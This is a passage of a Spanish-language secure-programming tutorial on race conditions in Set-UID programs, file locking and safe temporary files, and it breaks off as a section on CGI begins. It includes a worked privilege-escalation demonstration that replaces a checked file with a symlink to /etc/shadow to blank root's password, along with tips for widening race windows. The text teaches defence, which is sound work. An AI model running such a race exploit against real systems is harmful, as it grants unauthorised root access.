exit(EXIT_FAILURE); } if (stat (argv [1], & st) < 0) { fprintf (stderr, "No se puede ubicar %s\n", argv [1]); exit(EXIT_FAILURE); } if (st . st_uid != getuid ()) { fprintf (stderr, "No es el propietario de %s \n", argv [1]); exit(EXIT_FAILURE); } if (! S_ISREG (st . st_mode)) { fprintf (stderr, "%s no es un archivo normal\n", argv[1]); exit(EXIT_FAILURE); } if ((fp = fopen (argv [1], "w")) == NULL) { fprintf (stderr, "No se puede abrir\n"); exit(EXIT_FAILURE); } fprintf (fp, "%s\n", argv [2]); fclose (fp); fprintf (stderr, "Escritura exitosa\n"); exit(EXIT_SUCCESS); } Como explicamos en nuestro primer artículo, sería conveniente para una aplicación Set-UID abandonar momentáneamente sus privilegios y abrir el archivo usando el UID real del usuario que lo llamó. De hecho, la situación descripta corresponde más bien a un demonio que proporciona servicios a todos los usuarios. Al correr siempre con el ID root, hará la verificación de pertenencia con el UID de su interlocutor más bien que con su propio UID real. Sin embargo, seguiremos por el momento con esta suposición a pesar de no ser realista pues nos permitirá comprender fácilmente cómo explotar el agujero de seguridad. Como podemos ver, el programa empieza a efectuar todas las verificaciones pertinentes. Es decir: que el archivo existe, que pertenece al usuario y que se trata de un archivo normal. A continuación, abre el archivo y escribe el mensaje. ¡Es aquí donde radica el agujero de seguridad!. O, para ser más precisos, entre el lapso de tiempo comprendido entre la lectura de los atributos del archivo con stat() y su apertura con fopen(). Si bien este intervalo de tiempo es extremadamente breve un atacante puede beneficiarse con él cambiando las características del archivo. Para que nuestro ataque sea aún más sencillo, agreguemos una línea que ponga a dormir el proceso entre las dos operaciones para contar con el tiempo suficiente para poder realizar la tarea manualmente. Cambiemos la línea 30 (previamente vacía) por la siguiente: 30 sleep (20); Manos a la obra. Primero hagamos a la aplicación Set-UID root. Es muy importante previamente realizar una copia de seguridad de nuestro archivo de contraseñas ocultas /etc/shadow: $ cc ex_01.c -Wall -o ex_01 $ su Password: # cp /etc/shadow /etc/shadow.bak # chown root.root ex_01 # chmod +s ex_01 # exit $ ls -l ex_01 -rwsrwsr-x 1 root root 15454 Jan 30 14:14 ex_01 $ Todo está listo para el ataque. Estamos en un directorio que es nuestro. Hemos descubierto una utilidad Set-UID root (en este caso ex_01) que contiene un agujero de seguridad y queremos reemplazar la línea del archivo de contraseñas /etc/shadow que contiene la palabra root por una línea con el campo de contraseña vacío. Primero, creamos un archivo fic: $ rm -f fic $ touch fic A continuación, ejecutamos nuestra aplicación en segundo plano a fin de conservar la principal y le pedimos que escriba una cadena en el archivo. Primero, el programa hace las verificaciones pertinentes para posteriormente dormir momentáneamente antes de acceder al archivo. $ ./ex_01 fic "root::1:99999:::::" & [1] 4426 El contenido de la línea referente al root se detalla en la página del manual shadow(5). Lo más importante es que el segundo campo se encuentra vacío (sin contraseña). Mientras el proceso duerme, contamos con alrededor de 20 segundos para eliminar el archivo fic y reemplazarlo por un enlace (simbólico o físico, cualquiera de los dos funciona correctamente) al archivo /etc/shadow. Recordemos que todo usuario puede crear un enlace a un archivo situado en un directorio de su pertenencia (o como veremos más tarde en /tmp)aún cuando no sea capaz de leer su contenido . Sin embargo, no es posible crear una copia de dicho archivo pues requeriría permiso de lectura $ rm -f fic $ ln -s /etc/shadow ./fic A continuación mediante el comando fg del shell traemos el proceso ex_01 al primer plano y esperamos a que finalize: $ fg ./ex_01 fic "root::1:99999:::::" Escritura exitosa $ ¡Voilà! Operación terminada. El archivo /etc/shadow contiene una única línea indicando que el root no tiene contraseña. ¿No lo creen? $ su # whoami root # cat /etc/shadow root::1:99999::::: # Terminemos con nuestro experimento recuperando nuestro archivo de contraseñas original: # cp /etc/shadow.bak /etc/shadow cp: replace `/etc/shadow¿ y # Seamos más realistas Hemos explotado con éxito una condición de carrera en una utilidad Set-UID root. Por supuesto, este programa fue demasiado "generoso" al darnos 20 segundos para modificar los archivos a sus espaldas. En una aplicación real la condición de carrera sólo se aplica a un intervalo muy breve de tiempo. ¿Cómo podemos aprovecharnos de esta situación entonces? Generalmente, un cracker recurre a un ataque de fuerza bruta renovando los intentos cientos, miles o millones de veces mediante scripts que automatizan la tarea. Es posible aumentar las posibilidades de "caer" dentro del agujero de seguridad con diversas artimañas con el propósito de incrementar el intervalo de tiempo entre las dos operaciones que el programa incorrectamente considera íntimamente enlazadas. La idea consiste en frenar el proceso objetivo para aprovechar más fácilmente la demora precedente a la modificación del archivo. Distintos enfoques pueden ayudarnos a alcanzar nuestra meta: ● Reducir la prioridad del proceso atacado tanto como sea posible ejecutándolo con el prefijo nice -n 20; ● Incrementar la carga del sistema ejecutando varios procesos que consuman ciclos del procesador (como por ejemplo usando while (1);); ● Si bien el kernel no permite depurar programas Set-UID es posible forzar una pseudo ejecución paso a paso enviando una secuencia de señales SIGSTOP-SIGCONT que permitan bloquear momentáneamente el proceso (mediante por ejemplo la combinación de teclas Ctrl-Z) y volver a iniciarlo si fuera necesario El método que permite beneficiarnos de un agujero de seguridad basado en una condición de carrera es aburrido y repetitivo pero realmente se puede usar. Intentemos hallar otras soluciones más efectivas. Posible mejoras El problema discutido anteriormente está relacionado con la capacidad de cambiar las características de un objeto durante el intervalo de tiempo entre dos operaciones prácticamente simultáneas. En la situación descripta, el cambio no estaba relacionado con propio archivo. Dicho sea de paso, como usuario normal sería bastante difícil modificar o incluso leer el archivo /etc/shadow. De hecho, los cambios estan relacionados con el enlace entre el nodo del archivo existente en el árbol de nombres y el propio archivo considerado como entidad física. Recordemos que la mayoría de los comandos del sistema (rm, mv, ln, etc.) actúan sobre el nombre del archivo y no sobre el contenido del mismo. Incluso cuando se borra un archivo (usando rm y la llamada del sistema unlink()), realmente se borra el contenido cuando se elimina el úlimo enlace físico, la última referencia. El error cometido por el programa es haber considerado la asociación entre el nombre del archivo y su contenido como intercambiables, o al menos constantes, durante el intervalo de tiempo entre las operaciones stat() y fopen(). Bastará con recurrir a un enlace físico para comprobar que esta asociación no es permanente en absoluto. Consideremos un ejemplo usando este tipo de enlace. En un directorio nuestro creamos un nuevo enlace a un archivo del sistema. Obviamente, conservamos el propietario del archivo y el modo de acceso. La opción -f del comando ln fuerza su creación incluso si el nombre ya existe: : $ ln -f /etc/fstab ./mi_archivo $ ls -il /etc/fstab mi_archivo 8570 -rw-r--r-- 2 root root 716 Jan 25 19:07 /etc/fstab 8570 -rw-r--r-- 2 root root 716 Jan 25 19:07 mi_archivo $ cat mi_archivo /dev/hda5 / ext2 defaults,mand 1 1 /dev/hda6 swap swap defaults 00 /dev/fd0 /mnt/floppy vfat noauto,user 0 0 /dev/hdc /mnt/cdrom iso9660 noauto,ro,user 0 0 /dev/hda1 /mnt/dos vfat noauto,user 0 0 /dev/hda7 /mnt/audio vfat noauto,user 0 0 /dev/hda8 /home/ccb/annexe ext2 noauto,user 0 0 none /dev/pts devpts gid=5,mode=620 0 0 none /proc proc defaults 00 $ ln -f /etc/host.conf ./mi_archivo $ ls -il /etc/host.conf mi_archivo 8198 -rw-r--r-- 2 root root 26 Mar 11 2000 /etc/host.conf 8198 -rw-r--r-- 2 root root 26 Mar 11 2000 mi_archivo $ cat mi_archivo order hosts,bind multi on $ La opción -i de /bin/ls muestra el número de ínodo al comienzo de la línea. Podemos ver que el mismo nombre apunta a dos ínodos físicos diferentes. Es evidente que los dos comandos"cat" actuando sobre el mismo nombre de archivo muestran dos contenidos totalmente diferentes a pesar de que no ha ocurrido ningún cambio en estos archivos entre las dos operaciones. En verdad, nos gustaría que las funciones que verifican y acceden al archivo siempre apunten al mismo contenido y al mismo ínodo. ¡Y es posible! El propio kernel efectúa esta asociación de manera automática cuando nos proporciona un descriptor de archivo. Cuando abrimos un archivo para lectura, la llamada al sistema open() devuelve un valor entero -el descriptor- que lo asocia mediante una tabla interna con un archivo físico. Todas las lecturas que hagamos posteriormente estarán relacionadas con el contenido de este archivo independientemente de lo que ocurra con el nombre usado durante la operación de apertura del mismo. Hagamos hincapié en lo siguiente: una vez que se ha abierto un archivo, cada operación relacionada con el nombre del mismo, incluyendo su eliminación, no tendrá ningún efecto sobre su contenido. Mientras exista un proceso que contenga el descriptor de un archivo, el contenido del mismo no se eliminará del disco incluso si su nombre desaparece del directorio donde fue almacenado. El kernel mantiene la asociación entre un descriptor y el contenido de un archivo durante el tiempo comprendido entre la llamada al sistema open() que proporciona el descriptor y la liberación del mismo mediante close() o hasta que ocurra la finalización del proceso. ¡Aquí tenemos nuestra solución! Podemos abrir el archivo y verificar a continuación sus permisos examinando las características de su descriptor en vez de su nombre. Esto se puede realizar usando la llamada al sistema fstat() que funciona como stat() pero verifica un descriptor de archivo en vez de una ruta. Para acceder al contenido de un archivo usando su descriptor emplearemos la función fdopen() que funciona como fopen() pero haciendo uso del descriptor en vez del nombre del archivo. Por lo tanto, el programa quedará: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 /* ex_02.c */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> int main (int argc, char * argv []) { struct stat st; int fd; FILE * fp; if (argc != 3) { fprintf (stderr, "Uso : %s mensaje a archivo\n", argv [0]); exit(EXIT_FAILURE); } if ((fd = open (argv [1], O_WRONLY, 0)) < 0) { fprintf (stderr, "No es posible abrir %s\n", argv [1]); exit(EXIT_FAILURE); } 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 fstat (fd, & st); if (st . st_uid != getuid ()) { fprintf (stderr, "¡ %s no le pertenece !\n", argv [1]); exit(EXIT_FAILURE); } if (! S_ISREG (st . st_mode)) { fprintf (stderr, "%s no es un archivo normal\n", argv[1]); exit(EXIT_FAILURE); } if ((fp = fdopen (fd, "w")) == NULL) { fprintf (stderr, "No es posible abrirlo\n"); exit(EXIT_FAILURE); } fprintf (fp, "%s", argv [2]); fclose (fp); fprintf (stderr, "Escritura exitosa\n"); exit(EXIT_SUCCESS); } Como se puede ver, a partir de la línea 20 ningún cambio del nombre del archivo (eliminación, cambio de nombre, enlace) afectará el comportamiento de nuestro programa. Es decir, el contenido del archivo físico original se conservará. Generalización Al manipular un archivo es importante asegurarse que la asociación entre su representación interna y su contenido real permanezca constante. Preferentemente, usaremos las siguientes llamadas al sistema para manipular al archivo físico: Uso Va al directorio representado por fd. Modifica los permisos de acceso a un archivo. Cambia el propietario de un archivo. Consulta la infomación almacenada en el ínodo de un fstat (int fd, struct stat * st) archivo físico. ftruncate (int fd, off_t length) Trunca un archivo existente. Inicializa IO desde un descriptor ya abierto. Es una fdopen (int fd, char * mode) rutina de la biblioteca stdio y no una llamada del sistema. Obviamente, debemos al principio abrir el archivo en el modo elegido invocando a open() (no olvidarse del tercer argumento al crear el nuevo archivo). Continuaremos hablando sobre open() más tarde cuando discutamos el problema de los archivos temporales. Llamada al sistema fchdir (int fd) fchmod (int fd, mode_t mode) fchown (int fd, uid_t uid, gid_t gif) Debemos insistir en la importancia de verificar los códigos de retorno de las llamadas al sistema. A pesar de no tener nada que ver con las condiciones de carrera mencionemos a modo de ejemplo un error encontrado en las primeras implementaciones de /bin/login debido a que no tenía en cuenta una verificación de un código de error. Esta aplicación, proporcionaba automáticamente acceso de root cuando no encontraba el archivo /etc/passwd. Este comportamiento puede resultar razonable en lo que respecta a la reparación de un sistema de archivos dañado. En el otro extremo, el verificar que era imposible abrir el archivo en vez de comprobar su existencia, es menos aceptable. En efecto, bastaba con llamar a /bin/login después de abrir el número máximo de descriptores permitido para un usuario para obtener directamente el acceso root ... Finalizemos esta disgresión insistiendo en la importancia de comprobar, antes de tomar cualquiern acción sobre la seguridad de un sistema, no sólo si la llamada al sistema tuvo o no éxito sino también los códigos de error Accesos concurrentes al contenido de un archivo Un programa vinculado con la seguridad de un sistema no debe depender del acceso exclusivo al contenido de un archivo. Más precisamente es importante evaluar los riesgos que implican los accesos concurrentes a un mismo archivo. El mayor peligro proviene de un usuario ejecutando simultáneamente múltiples instancias de una aplicación Set-UID root o estableciendo múltiples conexiones a la vez con el mismo demonio con la esperanza de crear una condición de carrera para modificar de una manera inusual el contenido de un archivo del sistema. Para evitar que un programa sea permeable a este tipo de situación, es necesario implementar un mecanismo de acceso exclusivo a los datos del archivo. Este es el mismo problema que tienen las bases de datos en donde a varios usuarios se les permite consultar o cambiar el contenido de un archivo. El principio de bloqueo de un archivo resuelve este problema. Cuando un proceso quiere escribir en un archivo, le pide al kernel que bloquee al archivo o parte de él. Mientras el proceso conserve el bloqueo ningún otro proceso puede pedir el bloqueo del mismo archivo o parte de él. De la misma manera, un proceso solicita un bloqueo antes de la lectura del contenido de un archivo para asegurarse que no habrán cambios mientras dure el bloqueo. De hecho, el sistema es más listo que esto: el kernel distingue entre los bloqueos solicitados para la lectura de un archivo de aquellos reclamados para la escritura del mismo. Diversos procesos pueden retener un bloqueo de lectura en forma simultánea ya que nadie intentará modificar el contenido del archivo. No obstante, solo un proceso puede conservar un bloqueo para escritura en un determinado instante de tiempo y ningún otro puede hacerlo simultáneamente incluso para lectura. Existen dos tipos de bloqueos (en gral. incompatibles entre sí). El primero heredado del BSD se basa en la llamada al sistema flock(). Su primer argumento es el descriptor del archivo al que se desea acceder de manera exclusiva y el segundo es una constante simbólica que representa la operación a realizar. Puede tener diferentes valores: LOCK_SH (bloqueo de lectura), LOCK_EX (bloqueo de escritura), LOCK_UN (para destrabar el bloqueo). La llamada al sistema mantendrá el bloqueo mientras la operación solicitada no resulte posible. No obstante, a veces es posible agregar (mediante un OR | binario) la constante LOCK_NB para que la llamada dé error en vez de permanecer bloqueada. El segundo tipo de bloqueo proviene del Sistema V y se dundamenta en la llamada al sistema fcntl() cuya invocación es un tanto complicada. Existe una función de biblioteca llamada lockf() similar a la llamada al sistema pero que no ofrece todas las posibilidades de esta última. El primer argumento de fcntl()es el descriptor del archivo a bloquear. El segundo representa la operación a realizar: F_SETLK y F_SETLKW gestionan el bloqueo, la segunda permanece bloqueada hasta que la operación resulte posible mientras que la primera retorna imediatamente en caso de error. F_GETLK consulta el estado de bloqueo de un archivo (lo cual normalmente carece de utilidad para las aplicaciones actuales). El tercer argumento es un puntero a una variable de tipo struct flock que describe el bloqueo. Los miembros más importante de la estructura flock son las siguientes: Nombre Significado Acción esperada : F_RDLCK (bloqueo de lectura), F_WRLCK (bloqueo de l_type int escritura) y F_UNLCK (desbloqueo). l_whence int Origen del campo l_start (generalmente SEEK_SET). l_start off_t Posición al comienzo del bloqueo (generalmente 0). l_len off_t Duración del bloqueo, 0 para alcanzar el final del arhivo. Podemos ver que fcntl() puede bloquear porciones limitadas del archivo pero no es la única ventaja en relación a flock(). Analicemos con detalle un pequeño programa que nos pide hacer un bloqueo de lectura a una serie de archivos dados como argumento y que espera que el usuario presione la tecla Enter antes de finalizar y de esta manera destrabar el bloqueo. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Tipo /* ex_03.c */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> int main (int argc, char * argv []) { int i; int fd; char buffer [2]; struct flock lock; for (i = 1; i < argc; i ++) { fd = open (argv [i], O_RDWR | O_CREAT, 0644); if (fd < 0) { fprintf (stderr, "No es posible abrir %s\n", argv [i]); exit(EXIT_FAILURE); } lock . l_type = F_WRLCK; lock . l_whence = SEEK_SET; lock . l_start = 0; lock . l_len = 0; if (fcntl (fd, F_SETLK, & lock) < 0) { fprintf (stderr, "No es posible destrabar %s\n", argv [i]); exit(EXIT_FAILURE); } } fprintf (stdout, "Presione Enter para destrabar el/los bloqueo(s)\n"); fgets (buffer, 2, stdin); exit(EXIT_SUCCESS); } Primero ejecutamos el programa desde una primer consola donde quedará a la espera: $ cc -Wall ex_03.c -o ex_03 $ ./ex_03 mi_archivo Presione Enter para destrabar el/los bloqueo(s) >Desde otra terminal... $ ./ex_03 mi_archivo No es posible desbloquear mi_archivo $ Al presionar Enter en la primer consola, destrabamos el bloqueo. Con este mecanismo es posible impedir accesos concurrentes a directorios y colas de impresión como lo hace el demonio lpd que usa un bloqueo flock() sobre el archivo /var/lock/subsys/lpd de manera de permitir una única instancia. Es posible asimismo administrar en forma segura el acceso a un archivo importante del sistema como ocurre con /etc/passwd que se bloquea mediante la función fcntl() de la biblioteca pam cuando se modifican los datos del usuario. No obstante, hay que reconocer que esto sólo protege de interferencias con aplicaciones que tienen un comportamiento correcto, es decir, que piden al kernel reservar el acceso adecuado antes de leer o escribir un archivo del sistema importante. En este caso, se habla de bloqueo cooperativo lo que expresa la responsabilidad de cada aplicación sobre los accesos a los datos. Desafortunadamente un programa mal escrito es capaz de reemplazar el contenido de un archivo incluso si otro proceso con buen comportamiento tiene un bloqueo para escritura. Aquí tenemos un ejemplo. Escribimos unas pocas palabras en un archivo y lo bloqueamos usando el programa anterior: $ echo "PRIMERO" > mi_archivo $ ./ex_03 mi_archivo Presione Enter para destrabar el/los bloqueo(s) >Desde otra consola, podemos modificar al archivo: $ echo "SEGUNDO" > mi_archivo $ Volviendo a la primer consola, verificamos los "daños": (Enter) $ cat mi_archivo SEGUNDO $ Para solucionar este problema, el kernel de Linux brinda al administrador del sistema un mecanismo de bloqueo estricto heredado del System V. Por lo tanto, únicamente se puede usar con los bloqueos de fcntl() y no con los de flock(). El administrador puede indicar al kernel que todos los bloqueos de fcntl() sean estrictos usando una combinación determinada de permisos de acceso. De este modo, si un proceso bloquea un archivo para escritura otro proceso no podrá escribir en él incluso siendo superusuario La combinación particular consiste en usar el bit SetGID mientras se quita al grupo el bit de ejecución. Esto se logra con el comando: $ chmod g+s-x mi_archivo $ Sin embargo, esto no es suficiente. Para que un archivo automáticamente se beneficie con bloqueos cooperativos estrictos se debe activar el atributo mandatory en la partición donde se encuentra. Generalmente, hay que modificar el archivo /etc/fstab agregando la opción mand en la cuarta columna o escribiendo en la línea de comandos: # mount /dev/hda5 on / type ext2 (rw) [...] # mount / -o remount,mand # mount /dev/hda5 on / type ext2 (rw,mand) [...] # Ahora, podemos comprobar que es imposible realizar algún cambio desde otra consola: $ ./ex_03 mi_archivo Presionar Enter para destrabar el/los bloqueo(s) >Desde otra terminal: $ echo "TERCERO" > mi_archivo bash: mi_archivo: Recurso momentáneamente no disponible $ Y volviendo a la primer consola: (Enter) $ cat mi_archivo SEGUNDO $ Es el administrador y no el programador quien debe decidir si hace o no un bloqueo estricto a un archivo (por ejemplo, /etc/passwd o /etc/shadow). El programador tiene que controlar la manera en que se acceden los datos lo que asegurará que su aplicación administre los mismos en forma coherente al leer y que no resulte peligroso para otros procesos al escribir mientras se administre el entorno adecuadamente. Archivos temporales A menudo un programa necesita almacenar datos en forma transitoria en un archivo. El caso más común ocurre cuando se desea insertar un registro en la mitad de un archivo ordenado en forma secuencial lo que implica hacer una copia del archivo original en un archivo temporal mientras se agrega el nuevo dato. A continuación la llamada al sistema unlink() elimina el archivo original y rename() renombra al archivo temporal para reemplazarlo por el original. Si no se hace manera adecuada, la apertura de un archivo temporal es a menudo el origen de situaciones de concurrencia explotables por usuarios malintencionados. Recientemente se han descubierto agujeros de seguridad basados en archivos temporales en aplicaciones tales como Apache, Linuxconf, getty_ps, wu-ftpd, rdist, gpm, inn, etc. Recordemos unos pocos principios para evitar este tipo de inconvenientes. En general, la creación de un archivo temporal se realiza en el directorio /tmp. Esto permite saber al administrador del sistema dónde se almacenan los datos de corta duración. Asimismo, también es posible programar una limpieza periódica (usando cron), usar una partición independiente formateada en tiempo de arranque, etc. En general, el administrador elige el lugar reservado para los archivos temporales en los archivos <paths.h> y <stdio.h> mediante la definición de las constantes simbólicas _PATH_TMP y P_tmpdir. De hecho, el usar otro directorio diferente al predeterminado /tmp no es una buena idea pues implicaría recompilar cada una de las aplicaciones incluyendo las bibliotecas de C. No obstante, mencionemos que el comportamiento de la rutina GlibC se puede definir mediante la variable de entorno TMPDIR. De esta forma, el usuario puede pedir que los archivos temporales se almacenen en un directorio propio en vez de hacerlo en el directorio predeterminado /tmp. Esto resulta a veces necesario cuando la partición donde se encuentra /tmp es demasiado pequeña como para ejecutar aplicaciones que requieran de un almacenamiento temporal muy grande. El directorio /tmp del sistema es algo especial debido a sus permisos de acceso: $ ls -ld /tmp drwxrwxrwt 7 root root $ 31744 Feb 14 09:47 /tmp El Sticky-Bit representado por la letra t al final o o por el valor 01000 en modo octal tiene un significado determinado cuando se aplica a un directorio: sólo el propietario del directorio (el superusuario) y el propietario de un archivo que se encuentre en este directorio pueden eliminar al archivo. Puesto que el directorio tiene un acceso completo para escritura, cada usuario puede colocar sus archivos en él con la seguridad que se encontrarán protegidos al menos hasta que el administrador del sistema proceda a la próxima limpieza del sistema. Sin embargo, usar el directorio de almacenamiento temporal puede ocasionar algunos problemas. Comencemos con el caso más sencillo, el de una aplicación Set-UID root que se comunica con un usuario. Imaginemos un cliente de correo. Si este proceso recibe una señal que le pide finalizar inmediatamente (SIGTERM o SIGQUIT durante el apagado del sistema, por ejemplo) puede intentar guardar al vuelo el correo ya escrito pero que aún no ha sido enviado. En las primeras versiones, se creaba el archivo /tmp/dead.letter. Bastaba entonces con que el usuario creara (puesto que puede escribir en el directorio /tmp) un enlace físico al directorio /etc/passwd con el nombre dead.letter para que el cliente de correo (ejecutándose con UID efectivo root) escribiera en este archivo el contenido del mensaje a medio terminar (que contenía, por casualidad, la línea "root::1:99999:::::"). El primer problema con este comportamiento es la naturaleza previsible del nombre del archivo. Basta con observar una única vez la aplicación para deducir que usará el nombre de archivo /tmp/dead.letter. Por lo tanto, el primer paso consiste en emplear un nombre de archivo especialmente concebido para la instancia del programa actual. Existen diversas funciones de biblioteca capaces de proporcionarnos un nombre de archivo temporal personal Supongamos que tenemos una función de este tipo que nos proporcione un único nombre para nuestro archivo temporal. Hay software libre disponible con su código fuente (con su correspondiente biblioteca C). No obstante, el nombre del archivo resultante es previsible aunque bastante difícil de adivinar. Un atacante podría crear un enlace simbólico al nombre proporcionado por la biblioteca C. Nuestra primer reacción es, por lo tanto, verificar que el archivo existe antes de abrirlo. Ingenuamente podríamos escribir algo como : if ((fd = open (filename, O_RDWR)) != -1) { fprintf (stderr, "%s ya existe\n", filename); exit(EXIT_FAILURE); } fd = open (filename, O_RDWR | O_CREAT, 0644); ... Obviamente, este es un típico caso de condición de carrera donde un usuario se las arregla para crear un enlace al /etc/passwd entre el primer open() y el segundo creando de esta manera un agujero de seguridad. Es necesario contar con un medio para efectuar estas dos operaciones prácticamente en forma simultánea de modo que no pueda ocurrir ninguna manipulación entre ellas. Existe una opción específica de la llamada al sistema open() denominada O_EXCL y que se debe usar conjuntamente con O_CREAT. Esta opción hace que open() dé error si el archivo ya existe pero pero la verificación de existencia está íntimamente ligada a la creación. A propósito, la extensión Gnu 'x' para los modos de apertura de la función fopen() exige una creación exclusiva del archivo y falla si el archivo ya existe: FILE * fp; if ((fp = fopen (nombre_archivo, "r+x")) == NULL) { perror ("No es posible crear el archivo."); exit (EXIT_FAILURE); } Los permisos asociados a los archivos temporales juegan igualmente un rol importante. En efecto, si se debe escribir información confidencial y el archivo está en modo 644 (lectura/escritura para el propietario, sólo lectura para el resto de los usuarios) puede resultar un tanto molesto. La función #include <sys/types.h> #include <sys/stat.h> mode_t umask(mode_t mask); nos permite fijar los permisos que serán otorgados a un archivo durante su creación. De esta manera, luego de la llamada umask(077) el archivo se abrirá en modo 600 (lectura/escritura para el propietario, sin derechos para el resto de los usuarios). Generalmente, la creación de archivos temporales se efectúa en tres etapas: 1. se crea un nombre único (al azar) ; 2. se abre el archivo usando O_CREAT | O_EXCL con una política de permisos lo más restrictiva posible; 3. se verifica el resultado al abrir el archivo y se actúa en consecuencia (ya sea reintentar o abandonar). Detallemos ahora las posibilidades que existen para obtener un archivo temporal. Las funciones #include <stdio.h> char *tmpnam(char *s); char *tempnam(const char *dir, const char *prefix); devuelven punteros a nombres creados al azar. La primera función admite un argumento NULL en cuyo caso devuelve la dirección de un búfer estático. Su contenido cambiará en la siguiente llamada de tmpnam(NULL). Si el argumento es una cadena asignada, el nombre se copia aquí lo que requiere de una cadena de por lo menos L-tmpnam bytes. ¡Tengan cuidado con los desbordamientos de búfer! La página del manual informa acerca de problemas cuando se usa esta función con el parámetro NULL si se definen _POSIX_THREADS o _POSIX_THREAD_SAFE_FUNCTIONS. La función tempnam() devuelve un puntero a una cadena. El directorio dir debe ser "apropiado" (la página man describe el significado exacto de la palabra "apropiado"). Esta función verifica que el archivo no exista antes de devolver su nombre. Sin embargo, una vez más la página del manual (man) no recomienda su uso pues el término "apropiado" puede tener diferentes significados según las implementaciones de la función. Mencionemos que Gnome recomienda su uso de la siguiente manera : char *filename; int fd; do { filename = tempnam (NULL, "foo"); fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600); free (filename); } while (fd == -1); El uso del bucle reduce algunos riesgos pero crea otros. Imaginen lo que sucedería si la partición donde se desea crear el archivo temporal estuviese llena o si el sistema ya hubiera abierto el número máximo de archivos disponible a la vez... La función #include <stdio.h> FILE *tmpfile (void); crea un único nombre de archivo y lo abre. Este archivo se borra automáticamente al cerrarlo. En GlibC-2.1.3, esta función usa un mecanismo similar a tmpnam() para generar el nombre del archivo y abrir el correspondiente descriptor. El archivo luego es eliminado, pero Linux realmente no lo borrará sino hasta que ningún recurso lo utilice, es decir, cuando el descriptor del archivo se libere a través de la llamada al sistema close(). FILE * fp_tmp; if ((fp_tmp = tmpfile()) == NULL) { fprintf (stderr, "No es posible crear un archivo temporal\n"); exit (EXIT_FAILURE); } /* ... uso del archivo temporal ... */ fclose (fp_tmp); /* verdadera eliminación del archivo por el sistema */ Los casos más sencillos no requieren del cambio del nombre del archivo ni la transmición a otro proceso, sino únicamente del almacenamiento y de la relectura de datos en un área temporal. Por lo tanto, generalmente no se necesita conocer el nombre del archivo temporal sino sólo acceder a su contenido. La función tmpfile() hace precisamente esto. La página del manual no desaconseja su uso pero sí lo hace el Secure-Programs-HOWTO. Según el autor, las especificaciones no garantizan la creación del archivo y no ha podido verificar cada implementación. A pesar de esta reserva, esta función es la más eficiente. Por último, las funciones #include <stdlib.h> char *mktemp(char *template); int mkstemp(char *template); crean un único nombre desde una plantilla que consta de una cadena que termina con la cadena "XXXXXX". Estas 'Xs' se reemplazan para obtener un nombre de archivo único. Segun las distintas versiones, mktemp() reemplaza las primeras cinco 'X' con el ID del proceso (PID) ...lo que hace fácil suponer el nombre ya que únicamente la última 'X' es aleatoria. Algunas versiones permiten más de seis 'X'. El Secure-Programs-HOWTO recomienda el uso de la función mkstemp() Aquí está el método propuesto: #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> void failure(msg) { fprintf(stderr, "%s\n", msg); exit(1); } /* * Crea un archivo temporal y lo devuelve * Esta rutina elimina el nombre del archivo del sistema de archivos * con lo cual no volverá a aparecer al listar el contenido del directorio. */ FILE *create_tempfile(char *temp_filename_pattern) { int temp_fd; mode_t old_mode; FILE *temp_file; /* Crea un archivo con permisos restrictivos */ old_mode = umask(077); temp_fd = mkstemp(temp_filename_pattern); (void) umask(old_mode); if (temp_fd == -1) { failure("No se pudo abrir el archivo temporal"); } if (!(temp_file = fdopen(temp_fd, "w+b"))) { failure("No se pudo crear el descriptor del archivo temporal"); } if (unlink(temp_filename_pattern) == -1) { failure("No se pudo eliminar el enlace al archivo temporal"); } return temp_file; } Estas funciones muestran los problemas relacionados con la abstracción y portabilidad. Es decir, se espera que las funciones de la biblioteca estándar proporcionen características (abstracción)...pero la forma de implementarlas varía según el sistema empleado (portabilidad). Por ejemplo, la función tmpfile() abre un archivo temporal de distintas maneras (algunas versiones no usan O_EXCL) o mkstemp() maneja un número variable de 'X' de acuerdo a determinadas implementaciones. Conclusión Hemos analizado la mayoría de los problemas de seguridad relacionados con los accesos concurrentes a un mismo recurso. Tengamos presente que nunca se debe suponer que dos operaciones consecutivas siempre se procesan en forma secuencial en la CPU a menos que el kernel lo considere así. Si bien las condiciones de carrera generan agujeros de seguridad no se deben despreciar los que se basan en otros recursos como las variables comunes entre diferentes hebras o los segmentos de memoria compartidos por intermedio de los mecanismos shmget(). Se deben implementar mecanismos de selección de accesos (mediante semáforos, por ejemplo) para evitar fallas difíciles de diagnosticar. PARTE V - Servidor Web, URI y problemas de configuración Introducción (demasiado breve) sobre como trabaja un servidor web y como construir una URI Cuando un cliente pide un archivo HTML, el servidor envía la página pedida (o un mensaje de error). El navegador interpreta el código HTML para formatear y visualizar el fichero. Para poner un ejemplo, escribiendo la URL (Uniform Request Locator) http://www.linuxdoc.org/HOWTO/HOWTO-INDEX/howtos.html, el cliente se conecta al servidor www.linuxdoc.org y pide la página /HOWTO/HOWTO-INDEX/howtos.html, utilizando el protocolo HTTP. Si la página existe, el servidor envía el archivo pedido. Con este modelo estático, si el archivo está presente en el servidor , éste es enviado "tal y como es" al cliente, de otra forma un mensaje de error es enviado (el bien conocido 404 - Not Found). Desgraciadamente, esto no permite la interactividad con el usuario. De este modo cosas como e-negocios, e-reservas para vacaciones o e-loquesea no es posible. Afortunadamente, hay soluciones para generar dinámicamente páginas HTML. Los scripts CGI (Common Gateway Interface) son una de ellas. En este caso, la URL para acceder a estas páginas es construida de forma ligeramente diferente: http://<servidor><pathHaciaScript>[?[param_1=val_1][...][&param_n=val_n]] La lista de argumentos es guardada en la variable de entorno QUERY_STRING. En este contexto, un script CGI no es nada más que un archivo ejecutable. Utiliza stdin (standard input) o la variable de entorno QUERY_STRING para obtener los argumentos que le pasan. Después de ejecutar el código, el resultado es mostrado en stdout (standard output) y luego, redirigido al cliente web. Casi todos los lenguajes de programación pueden ser usados para escribir un script CGI (un programa compilado en C, Perl, shell-scripts...). Por ejemplo, permítame buscar qué es lo que los HOWTOs de 